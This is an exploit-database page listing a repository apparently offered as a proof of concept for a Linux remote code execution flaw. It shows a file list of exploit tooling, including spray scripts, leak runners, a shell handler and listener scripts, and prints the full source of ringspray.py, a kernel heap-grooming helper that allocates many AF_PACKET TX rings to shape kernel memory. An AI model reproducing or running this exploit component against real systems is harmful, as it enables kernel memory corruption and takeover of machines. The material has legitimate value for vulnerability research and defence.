Exploit databaseDownload repository ZIP
GH-3a138bbc20cb94569c8c8258521638ab
hardenedlinux/linux-rce-poc
Sources for CVE-2026-98432
33 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files52
hardenedlinux/linux-rce-pocRevision 599ba6434fe5
- ↑..Parent directory
- bin/
- harness/
- any_match.py
- cache_match.py
- cache_match.py.bak
- cache_match_fixed.py
- campaign.sh
- dio_spray.py
- double_match.py
- find-match-any.sh
- find-match-boot.sh
- find-match-double.sh
- find-match-fixed.sh
- find-match-iomap.sh
- find-match-key.sh
- find-match-quad.sh
- find-match-target.sh
- find-match-tri.sh
- find-match-twin-stock.sh
- find-match-unix.sh
- iomap_match.py
- key_match.py
- labnet-guest.sh
- labnet.sh
- launch.sh
- make-seeds.sh
- mixed-verify.sh
- mq-config.sh
- mq-setup.sh
- mq-teardown.sh
- phase2-run.sh
- port_map.py
- quad_match.py
- read_pob.py
- recover_lab.sh
- ringone.py
- ringspray.py
- ringspray2.py
- ringspray3.py
- run_leak.sh
- run_leak_noprobe.sh
- run_leak_vary.sh
- setup_raw.sh
- setup_target_run.sh
- shell_handler.py
- ssh.sh
- start-listeners.sh
- start_raw.sh
- start_save.sh
- stop.sh
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
lab/ringspray.py
Python · 883 bytes#!/usr/bin/env python3
"""ringspray.py <cpu> <count> - hold AF_PACKET TX rings (96-byte pg_vec)."""
import socket, struct, mmap, os, sys, time
cpu=int(sys.argv[1]); n=int(sys.argv[2])
os.sched_setaffinity(0,{cpu})
ETH_P_ALL=3; SOL_PACKET=263; PACKET_VERSION=10; PACKET_TX_RING=13; TPACKET_V1=0
keep=[]
block_size=4096; block_nr=12; frame_size=2048; frame_nr=24
req=struct.pack("IIII",block_size,block_nr,frame_size,frame_nr)
for i in range(n):
s=socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(ETH_P_ALL))
s.bind(("lo",0))
s.setsockopt(SOL_PACKET, PACKET_VERSION, TPACKET_V1)
s.setsockopt(SOL_PACKET, PACKET_TX_RING, req)
m=mmap.mmap(s.fileno(), block_size*block_nr, mmap.MAP_SHARED, mmap.PROT_READ|mmap.PROT_WRITE)
m[0:16]=b'P'*16
keep.append((s,m))
print("rings",len(keep),"pg_vec_bytes",len(keep)*block_nr*8, flush=True)
time.sleep(3600)